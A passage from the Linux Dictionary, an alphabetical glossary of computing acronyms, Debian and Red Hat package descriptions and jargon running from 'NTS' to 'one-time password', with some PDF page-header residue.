<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTS

Network Test System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTS

New Typesetting System (TeX, DANTE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTS2

Network Transport Services /2 (IBM), "NTS/2" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTSA

Linux Dictionary

Netware Telephony Services Architecture From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTSC

National Television Standards Committee (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTSC

Never The Same Color (slang) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTSE

[Windows] NT Server / Enterprise edition (MS, Windows NT), "NTS/E" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ntsysv

Ntsysv provides a simple interface for setting which system services are started or stopped in various runlevels (instead of directly manipulating the numerous symbolic links in /etc/rc.d). Unless you specify a runlevel or runlevels on the command line (see the manpage), ntsysv configures the current runlevel (5 if you're using X). From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NTT

Nippon Telephone & Telegraph (org., Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUA

Network User Address From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Nuclinux

Nuclinux is a single floppy Linux distribution. One 3.5 in. floppy contains enough of a system to connect to the Internet from a networked machine (e.g. school lab, Internet cafe, etc.) It's also available as a DOS/Windows install. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUI

Network User Identification (Datex-P) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUISSH

Natur- und UmweltInformationsSystem Schleswig-Holstein (UIS), "NUIS-SH" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nullidentd

small, fast identd daemon nullidentd is a small, fast and secure identd daemon. It returns a static string for every query. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nullmailer

Simple relay-only mail transport agent This is nullmailer, a sendmail/qmail/etc replacement MTA for hosts which relay to a fixed set of smart relays. It is designed to be simple to configure, secure, and easily extendable. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUMA

Non Uniform Memory Access (SMP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUMA

Non-Uniform Memory Architecture. For example, a multiprocessor where access to different classes of memory takes significantly different amounts of time. (Memory accesses over a network of some sort, basically.) From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

numlock

NumLock enable to lock the numlock key. Only enable it at boot-time withntsysv or with any other SVSR like rc.d config scripts editor such as tksysv or the ones from GNOME and KDE. NumLock is safe for portable as it is disabled by default. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NURB

Non Uniform Rational B-spline From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NURBS

Non-Uniform Rational B-Spline (CAD, Animation) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUS

National University of Singapore (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nut

Network UPS Tools This daemon can monitor a large assortment of UPS hardware and can provide notification to other computers via it's client/server architecture. One computer is configured to act as a master and the others are configured as slaves. This package provides the best features of the other Debian UPS packages but is not based on any of them. Specifically, it is better because: 1) it has the ability to talk to a wide variety of hardware in both dumb and smart modes, similar to genpower; and 2) it has network capability in that it can act as a UPS server (master) for other UPS client boxes (slaves), similar to apcd. Finally, the companion package, nut-cgi, provides cgi scripts that can display the status of UPS on a web page. (potato debs can be found at <http://people.debian.org/~lfilipoz>) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nut-cgi

Network UPS Tools – web interface This package contains CGI scripts that provide a nice web interface to a Network UPS Tools daemon. The scripts are packaged separately because there are situations where one may want to use Network UPS Tools but may not want a web interface to the daemon. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NUTEK

[National Board for Industrial and Technical Development] (org., Sweden) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nuweb2noweb

convert nuweb files to noweb form From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nvclock

allows you to overclock your nvidia card under linux This program allows you to overclock your nvidia chip based video card. You need to have the official nvidia drivers installed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NVDM2

NetView Distribution Manager /2 (OS/2, IBM), "NVDM/2" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nvi

4.4BSD re-implementation of vi. Vi is the original screen based text editor for Unix systems. It is considered the standard text editor, and is available on almost all Unix systems. Nvi is intended as a "bug-for-bug compatible" clone of the original BSD vi editor. As such, it doesn't have a lot of snazzy features as do some of the other vi clones such as elvis and vim. However, if all you want is vi, this is the one to get. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nvidia-glx-src

NVIDIA binary XFree86 4.x driver These XFree86 4.0 binary drivers are the result of a collaborative partnership between NVIDIA, SGI and VA Linux. In this initial beta release, they provide optimized

hardware acceleration of OpenGL applications via a direct-rendering X Server and support the TNT, TNT2, TNT Ultra, GeForce, nForce and Quadro chipsets. AGP and flat panel displays are also supported. This package builds the NVIDIA binary XFree86 4.x driver. For more information on this source package visit NVIDIA's homepage at <http://www.nvidia.com/> . From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nvidia-kernel-src

NVIDIA binary kernel module These XFree86 4.0 binary drivers are the result of a collaborative partnership between NVIDIA, SGI and VA Linux. In this initial beta release, they provide optimized hardware acceleration of OpenGL applications via a direct-rendering X Server and support the TNT, TNT2, TNT Ultra, GeForce, nForce, and Quadro chipsets. AGP and flat panel displays are also supported. This package builds the NVIDIA binary kernel module needed by nvidia-glx. For more information on this source package visit NVIDIA's homepage at <http://www.nvidia.com/> . From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nview

text editors From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NVN

National Videotex Network (USA, network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NVP

Network Voice Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NVRAM

Non-Volatile Random Access Memory (RAM, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NVS

NachrichtenVermittlungSystem (INPOL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NVT

Network Virtual Terminal (Telnet, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nvtv

tool to control the TV chips on NVidia cards under Linux This is a program to control the TV chips on NVidia cards under Linux, in order to get tv-out with a wide range of resolutions and sizes, including "overscan" modes. It does even work with the free nv drivers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nwall

A version of wall that uses GNU readline nwall is a system-local chat program based on BSD wall. It logs chat, as well as providing opt-out lockfiles for users who want to be alerted to system walls, but don't want to be distracted by the nwall chatter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nwatch

Network service detector. NWatch is a sniffer but can be conceptualized as a "passive port scanner", in that it is only interested in IP traffic and it organizes results as a port scanner would. The advantage of this tool is that services that is open for a short period of time can be detected with NWatch while successive nmap scans will miss them. The disadvantage is that the service have to be actively used to be detected. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NWCS

Netware Workstation Compatible Service (Netware, Windows NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NWIP

NetWare Internet Protocol (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NWNET

NorthWestern states NETwork (network, USA), "NWNet" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NWO

NetWork Operator (ETSI, ETSI 201 671) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nwrite

Enhanced replacement for the write command. Nwrite is a replacement for the standard write program that lets you write directly to the terminal of another logged-in user without the overhead of talk taking over the full screen or the other user having to respond first. Nwrite's advantages over traditional write include the ability to send the same message simultaneously to multiple users, and a receiver-configurable message format, including a tag at the start of each line that identifies the sender. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nxtvepg

Nextview EPG decoder and browser In this software package you find a decoder for Nextview – an Electronic TV Programme Guide for the analog domain (as opposed to the various digital EPGs that come with most digital broadcasts). It allows you to decode and browse TV programme listings for most of the major networks in Germany, Austria, France and Switzerland. Currently Nextview EPG is transmitted by: – in Germany and Austria: Pro7, 3Sat, RTL-II. – in Switzerland: EuroNews, SF1, TSR1. – in France: Canal+, M6, TV5. – in Turkey: TRT (as of June/2001 still a test transmission) The EPG information is read from /dev/vbi, i.e. you need some TV card which provides a VBI data stream. bttv cards work. zoran might work too, but I haven't tested that due to lack of hardware... From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NYS

This is the name of a project and stands for NIS+, YP and Switch and is managed by Peter Eriksson <peter@ifm.liu.se>. It contains among other things a complete reimplementaion of the NIS (= YP) code that uses the Name Services Switch functionality of the NYS library. From NIS HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

O

O'Reilly, Tim

the founder of O'Reilly & Associates, which has the reputation of publishing the best Linux/UNIX books. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OA

Object Adapter (ORB, IDL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OA

Open Access (SPI, DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OAA

Open Arcade Architecture (Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OAD

Open Architecture Driver (Iomega) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OADG

Open Architecture Development Group (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oaf

OAF (Object Activation Framework) provides the activation mechanism for GNOME components. It is a replacement for GOAD in the GNOME 2 platform. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oaf

OAF is an object activation framework for GNOME. It uses ORBit. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oaf

The GNOME Object Activation Framework. OAF is the new Object Activation Framework for GNOME. OAF has a similar purpose to gnorba, the GNOME 1.x CORBA activation library, and will replace it for GNOME 2.0. It allows you to do much more powerful activation queries than gnorba. Each server is described by an XML file that defines its attributes. When querying or activating, one may specify complex requirements using the OAF query language. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OAG

Open Application Group (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OAI

Open Applications Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OAK

Object Application Kernel (Java, predecessor, Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OAM

Operations, Administration and Management [cell] (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OASIS

Online Application System Interactive Software From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OASIS

Linux Dictionary

Open And Secure Information Systems (Eureka) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OBD

Online Bugs Database (Sun, DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OBEX

Object EXchange (WordPerfect) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

objc-poc

Objective-C compiler Portable Object Compiler (objc-poc) is an Objective-C compiler. Includes: – a modern, portable, "all C" Objective C runtime There's absolutely no assembly language needed, nor is there a dependency on stack layout, register allocation conventions etc. Most other runtimes, were derived from pre-"all C"-Stepstone runtimes, so this is an important point of difference. – "objpak", the "Object Pak" Objective C Collection Classes Simple, powerful set of classes. Very portable. Can be used to develop with different compilers, then port with 'objc'. Compatible with ICpak101, the collection class library described in Brad Cox' book, and used by existing Objective-C packages that were developed with Stepstone objc. – "cakit", the "Computer Algebra Kit" Objective C classes Small, concise, interface to a large set of classes for polynomial computing and arbitrary precision integer arithmetic. Web page: <http://sf.net/projects/objc/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

objcopy

copy and translate object files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

objdump

display information from object files. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

object-oriented

A method of software development that groups related functions and data into reusable chunks. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Object-Oriented

A software development methodology that offers the programmer standard reusable software modules (components), rather than requiring the developer to write custom programming code each time. Using standard components reduces development time (because the writing and testing of those components has already been done by other programmers), and ensures a standard look and feel for programs using the same components. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Objective C

An object-oriented superset of ANSI C by Brad Cox, Productivity Products. Its additions to C are few and are mostly based on Smalltalk. Objective C is implemented as a preprocessor for C. Objective C syntax is a superset of standard C syntax, and its compiler accepts both C and Objective C source code (filename extension ".m"). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

obliq

An interactive interpreter for the Obliq language. Obliq is a small, statically scoped, untyped language. It is object-oriented, higher-order, and distributed. State is local to an address space, while computation can migrate over the network. The distributed computation mechanism is based on Modula-3 Network Objects. This package includes several versions of Obliq: obliq: Obliq interpreter obliq-3D: Obliq interpreter with full 3D animation support obliq-anim: Obliq interpreter with full animation support obliq-min: Obliq interpreter with minimal runtime hooks obliq-std: Obliq interpreter with the standard runtime hooks obliq-ui: Obliq interpreter with ui support obliqsrv: Obliq server obliqsrv-std: Obliq server with the standard runtime hooks obliqsrv-ui: Obliq server with ui

support visobliq: Prototype of an easy-to-use distributed programming environment using Obliq
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OBS

Online Book Store (Internet, WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

obscurity

The philosophical debate of Security through obscurity, where people hope to hide rather than defend themselves from hackers. Controversy: This is a controversial topic. Non-security people will often claim that well-known security precautions are not necessary because it is unlikely that a hacker will find the obscure hole. Security professionals find this distressing because they have experience with the hacker community that regularly makes the obscure obvious. For example, buffer-overflow bugs are really obscure and hard to exploit, but once a hacker writes an automated exploit script or worm a once obscure vulnerability becomes widely known. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OBST

Object management system of STONE (STONE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OBTWIAVBP

Obligatory The World Is A Very Big Place (DFUe, Usenet, IRC), "ObTWIAVBP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OC

Object Class (OOP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OC1

Optical Carrier level 1 [51,48 Mbps] (SONET), "OC-1" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OC12

Optical Carrier level 12 [622,08 Mbps] (SONET), "OC-12" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OC24

Optical Carrier level 24 [1244,16 Mbps] (SONET), "OC-24" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OC3

Optical Carrier level 3 [155,52 Mbps] (SONET), "OC-3" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OC48

Optical Carrier level 48 [2488,32 Mbps] (SONET), "OC-48" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ocaml

ML language implementation with a class-based object system Objective Caml is an implementation of the ML language, based on the Caml Light dialect extended with a complete class-based object system and a powerful module system in the style of Standard ML. Objective Caml comprises two compilers. One generates bytecode which is then interpreted by a C program. This compiler runs quickly, generates compact code with moderate memory requirements, and is portable to essentially any 32 or 64 bit Unix platform. Performance of generated programs is quite good for a bytecoded implementation: almost twice as fast as Caml Light 0.7. This compiler can be used either as a standalone, batch-oriented compiler that produces standalone programs, or as an interactive, toplevel-based system. The other compiler generates high-performance native code for a number of processors. Compilation takes longer and generates bigger code, but the generated programs deliver excellent performance, while retaining the moderate memory requirements of the bytecode compiler. It is not available on all arches though. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ocamltk

a library for interfacing Objective Caml with the tcl/tk CamlTk417 is a library for interfacing Objective Caml with the scripting language Tcl/Tk. In addition to the basic interface with Tcl/Tk, this package contains * the "frx" library, written by Francois Rouaix; it contains some facilities for usual idioms * the "jpf" library, written by Jun P. Furuse; it contains a "file selector" and "balloon help" support * the "jtk" library, written by Jun P. Furuse; it contains extensions for Japanese Tcl/Tk * the "tkanim" extension, written by Jun P. Furuse; it adds support for animated GIF files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ocamlweb

literate programming tool for Objective Caml Literate programming, as defined by Knuth, means to combine program code and documentation into one source document from which program code and documentation can be extracted. The approach of ocamlweb is that documentation is to be included in the program code as special comments. The ocamlweb tool extracts from this the documented program code as LaTeX document, while no special preprocessing is required to compile the source files. See also <http://www.lri.fr/~filliatr/ocamlweb/index.en.html>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

octave

The GNU Octave language for numerical computations Octave is a (mostly Matlab (R) compatible) high-level language, primarily intended for numerical computations. It provides a convenient command-line interface for solving linear and nonlinear problems numerically. Octave uses some of the best and most respected numerical libraries as balgen, dassl, eisspack, fftpack, lapack, linpack, minpack, odepack, ranlib, slatec-fn and villad. Octave can be dynamically extended with user-supplied C++ files. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

octave

The GNU Octave language for numerical computations Octave is a (mostly Matlab (R) compatible) high-level language, primarily intended for numerical computations. It provides a convenient command-line interface for solving linear and nonlinear problems numerically. This package is an empty 'transition' package. It is needed in order to transfer smoothly from the octave packages (up to and including version octave*2.0.16-1) to the new octave2.0* packages. The new octave2.0* can coexist with the upcoming octave2.1* packages of the new development version of GNU Octave. Once you have all the octave2.0 package you want installed, you can delete this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

octave-ci

Contributed functions for the GNU Octave language The octave-ci package provides almost two hundred functions for GNU Octave, a (mostly Matlab (R) compatible) high-level language primarily intended for numerical computations. The files in this package are grouped by the following directories: filefun, neural-nets, listfun, timefun, general, and misc. Other parts of this package have been integrated into GNU Octave itself as of version 2.0.13.92. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

octave-epstk

GNU Octave encapsulated postscript toolkit The octave-epstk package provides, via a set of .m functions, a toolkit to create powerful encapsulated postscript (.eps) graphs. Most 2D scientific graphics functions are written. The generated .eps-files are very small and can be imported into other documents without loss of quality. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

octave-forge

Contributed functions for GNU Octave from <http://octave.sf.net> The octave-forge project contains over 300 contributed functions for GNU Octave which are not in the main distribution. These functions are grouped according to the following subdirectories: audio, comm, control, general, geometry, ident, image, linear-algebra, optim, path, plot, set, signal, sparse, specfun, special-matrix, splines, statistics, strings, struct, time. While the main Octave distribution is conservative about accepting new functions and changes, octave-forge is very open. As a result, be prepared for some lower quality code and more rapidly changing interfaces to the functions in octave-forge. The

octave–forge project is housed at <http://sourceforge.net/projects/octave/> The Debian octave–forge package replaces (and extends) the earlier octave–matcompat package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

octave–matcompat

Empty transition package for octave–forge The octave–forge package replaces the octave–matcompat package. This empty octave–matcompat forces installation of the (new) octave–forge package via an explicit dependency. Once both packages are installed, this package can be safely removed or purged. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

octave–sp

Semidefinite Programming functions for GNU Octave The octave–sp package provides functions for semidefinite programming. It can be used to solve nonlinear, convex optimization problems. For an overview of the functionality, use 'demosp' from within Octave. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

OCX

OLE Control eXtensions (MS) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

od

dump files in octal and other formats From whatis <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

OD

ODAPI

Open Database Application Programming Interface (Borland, DB, API), "Odapi" From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

ODBC

Open DataBase Connectivity (WOSA, DB, API) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

odbc–postgresql

ODBC support for PostgreSQL Provides support for ODBC access to the PostgreSQL backend. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

odbcinst1

Support library and helper program for accessing odbc ini files This package contains the libodbcinst.so library from unixodbc, a library used by ODBC drivers for reading their configuration settings from /etc/odbc.ini and ~/.odbc.ini. It is useful to provide this in a stand–alone package, so that all ODBC drivers in Debian can use a consistent ini library, regardless of whether applications are built with iodbc or unixodbc. Also contained in this package is the odbcinst helper tool, which allows ODBC driver packages to install their own driver settings, and the driver setup plugins, which describe the features supported by individual ODBC drivers. COMPONENTS: libodbcinst.so (ODBC Installer/Setup) odbcinst (cmd line UI for libodbcinst.so) libodbcdrvfg1S.so (GUI config for server based sources... basic) libodbcdrvfg2S.so (GUI config for file based sources... basic) liboplodbcS.so (GUI config for OpenLink's opl driver) libodbcminiS.so (GUI config for MiniSQL driver) libodbcmyS.so (GUI config for MySQL driver) libtdsS.so (GUI config for MS SQL/Sybase driver) liboraodbcS.so (GUI config for Oracle driver) libodbcpsqlS.so (GUI config for PostgreSQL driver) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Open Financial eXchange (banking, Intuit, MS, Checkfree, USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ogg

/og/ v. [CMU] 1. In the multi-player space combat game Netrek, to execute kamikaze attacks against enemy ships which are carrying armies or occupying strategic positions. Named during a game in which one of the players repeatedly used the tactic while playing Orion ship G, showing up in the player list as "Og". This trick has been roundly denounced by those who would return to the good old days when the tactic of dogfighting was dominant, but as Sun Tzu wrote, "What is of supreme importance in war is to attack the enemy's strategy, not his tactics." However, the traditional answer to the newbie question "What does ogg mean?" is just "Pick up some armies and I'll show you." 2. In other games, to forcefully attack an opponent with the expectation that the resources expended will be renewed faster than the opponent will be able to regain his previous advantage. Taken more seriously as a tactic since it has gained a simple name. 3. To do anything forcefully, possibly without consideration of the drain on future resources. "I guess I'd better go ogg the problem set that's due tomorrow." "Whoops! I looked down at the map for a sec and almost ogged that oncoming car." From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ogg123

plays Ogg Vorbis files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oggenc

encode audio into the Ogg Vorbis format From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ogginfo

gives information about Ogg files. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ogle

Linux Dictionary

DVD player with support for DVD menus Ogle is a DVD player with DVD menu support. This is the vanilla version, with no special CPU support. If you have a recent i386, powerpc, you will want to install the optimized package, ogle-mmx or ogle-altivec respectively. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

olvwm

OpenLook virtual window manager This package contains an extended version of olwm, the original OpenLook window manager, enhanced for handling of virtual desktops. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

olwm

Open Look Window Manager This package contains the traditional Open Look Window Manager. For an extended version that offers virtual desktops, have a look at the package `olvwm'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OLWM

OpenLook Window Manager (OpenLook) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OM1

Open MPEG consortium 1 (org., MPEG), "OM-1" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMA

Object Management Architecture (OMG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMC

Linux Dictionary

Operation and Maintenance Center (PLMN, GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OME

Open Messaging Environment (Novell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

omega

extended unicode TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

omega-rpg

A text-based roguelike game Omega is a complex rogue-style game of dungeon exploration. Unlike other such games, there are a number of ways to "win", depending on various actions taken during play. The ways you can get your name on the high score board include becoming the highest ranked head of a guild, sect, college, etc., as well as gaining the most points figured from possessions and experience. The game (via the oracle) may impose some structure on your exploration, but you need not follow all of the oracle's advice. There *is* a "total winner" status, by the way. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMF

Object Management Framework (DME) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMF

Object Module Format (IBM, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMF

Open Media Framework (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMFI

Open Media Framework Interchange (OMF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMG

Object Management Group (IBM, HP, DEC, Tandem, Sun, org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMI

Open Messaging Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMISTN

Optical Mode Interface SuperTwisted Nematic (LCD), "OMI-STN" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

omlcs

Markup language converter to html. OpaL Markup Language Content System is a extended html-like language defined in xml. It makes writing of content lot easier because it can fetch data from other files in a automated way. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMN

Open Network Management From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Omni

The Omni printer driver provides support for over 300 printers using the Ghostscript framework. In addition, it provides a model for dynamically loading printer drivers, creating new devices by editing device description files, and simplifies new printer driver development by allowing for the subclassing of previous device features. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

omniidl

Linux Dictionary

omniORB – idl compiler omniORB is a freely available Common Object Request Broker Architecture (CORBA) 2.3 compliant object request broker (ORB) implementation. It is based on the IIOP communications protocol and should be interoperable with any other CORBA 2.3 compliant ORB. This includes the core idl compiler. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Omoikane GNU/Linux

This appears to be a Debian based distribution translated to Japanese. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMR

Optical Mark Reader (Fax) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMR

Optical Mark Recognition From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMS

Object Management System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMS

Open Music System (MIDI, Opcode Systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

omt

A tool for mirroring web pages. OpaL Mirror Tool is a program written in perl to mirror web pages or download files from the web. It has the powerful ability to rewrite the content of the pages to make a fully functional mirror and the user can specify additional rewrite rules at the command line. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OMT

Object Management Technique (Westmount, CASE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ONE

Open Network Environment (Netscape) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

O

one-time pad (Vernam Cipher)

In cryptography, the one-time pad encrypts data by XORing the plaintext against a stream of truly random bits. In theory, the one-time pad is the only unbreakable encryption algorithm, even with infinite resources or quantum computers. This is because if the key (aka. pad) is totally random, then the ciphertext will be random as well. Problem: While the one-time pad is perfectly secure in theory, it has problems in practice, and is rarely used. The major problem is how one distributes the one-time pads to all the receivers. This can be done in some cases, such as sending out CD-ROMs full of random bits with soldiers on the battle-fields, but it becomes unwieldy for normal uses of cryptography. Key point: The pad (secret key) can be used only once. If it is ever used twice, then much of the plaintext can be easily recovered. This means that the pad must be as long as the data being encrypted. History: The one-time pad was invented by G. S. Vernam in 1926, and saw heavy use during WWII. It is still used today in diplomatic corps, spies, the Washington-Moscow "hot-line". Rumor: There are many short-wave radio stations throughout the world broadcasting a human voice reading off long lists of numbers. These are thought to be messages sent to spies throughout the world who decode them with one-time pads. Key point: Today's encryption algorithms are based upon the theoretical underpinnings of the one-time pad. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

one-time password (S/Key)

